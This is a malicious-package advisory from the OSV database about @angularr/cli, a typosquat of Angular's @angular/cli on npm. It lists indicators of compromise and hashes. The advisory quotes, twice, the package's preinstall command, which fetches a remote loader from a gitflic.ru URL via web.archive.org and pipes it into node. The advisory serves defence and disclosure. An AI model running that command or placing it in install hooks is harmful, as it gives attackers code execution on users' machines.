MAL-2026-17492

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@angularr/cli/MAL-2026-17492.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17492
Published
2026-10-03T06:33:58Z
Modified
2026-10-05T23:00:06Z
Summary
Malicious code in @angularr/cli (npm)
Details

@angularr/cli@22.2.1 impersonates @angular/cli (it copies the code and metadata of @angular/cli, including the ng binary) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/cli and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

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Source: amazon-inspector (122d8c8fdbfe9bd590dd3e1c41a6afcefff4f1c552af5f1756577975c84878a8)

Package is published as @angularr/cli (double 'r') and copies @angular/cli's description, keywords, homepage, repository URL, README, and version string (22.2.1) to impersonate Angular's official CLI. package.json declares a preinstall lifecycle hook that pipes a remote JavaScript file into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. The fetched script is hosted on gitflic.ru (user 'hellscripter', unrelated to Angular's publisher), proxied through web.archive.org, is unpinned, has no integrity check, and is executed directly by the installer's node process. Any npm install @angularr/cli performs arbitrary code execution on the installer's host under the account running npm. src/analytics/analytics-collector.js additionally issues outbound ping/POST traffic via https.request carrying host identifiers.

Database specific 
{
    "iocs":  {
        "files":  [
            {
                "digests":  {
                    "sha256":  "eb95ee065027d871536fb430be906c3856e640190f36dab01b93d64a1af758e5"
                },
                "note":  "preinstall script pipes the web.archive.org copy of gitflic.ru hellscripter/install-scripts node.js into node (@angularr/cli@22.2.1).",
                "paths":  [
                    "package.json"
                ],
                "source":  "PACKAGE_ARCHIVE"
            }
        ],
        "urls":  [
            "https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js",
            "https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js"
        ]
    },
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-020906",
            "import_time":  "2026-10-04T23:40:40.629757118Z",
            "modified_time":  "2026-10-04T23:17:38Z",
            "sha256":  "122d8c8fdbfe9bd590dd3e1c41a6afcefff4f1c552af5f1756577975c84878a8",
            "source":  "amazon-inspector",
            "versions":  [
                "22.2.1"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @angularr/cli

Package

Name
@angularr/cli
View open source insights on deps.dev
Purl
pkg:npm/%40angularr/cli

Affected ranges

Affected versions

22.*
22.2.1

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "package.json",
            "sha256":  "eb95ee065027d871536fb430be906c3856e640190f36dab01b93d64a1af758e5",
            "tlsh":  "0f313576dae01d6316d9128598360903b43c962f0e06fa78f799540c4f8f69f2277aae"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "cli-22.2.1.tgz",
            "hashes":  {
                "sha1":  "94202cdd816372a4adc8fcc2ddd9927dcff0419e",
                "sha512_sri":  "sha512-aJaBpCe9lyh6F8tsoVtJoKH6/D18aL6tGzQ/OMROYu6NTtcDA+u/WNxoFVyONE3Tt3uXjf9cTcG/l+iGvLx9Ig=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@angularr/cli/MAL-2026-17492.json"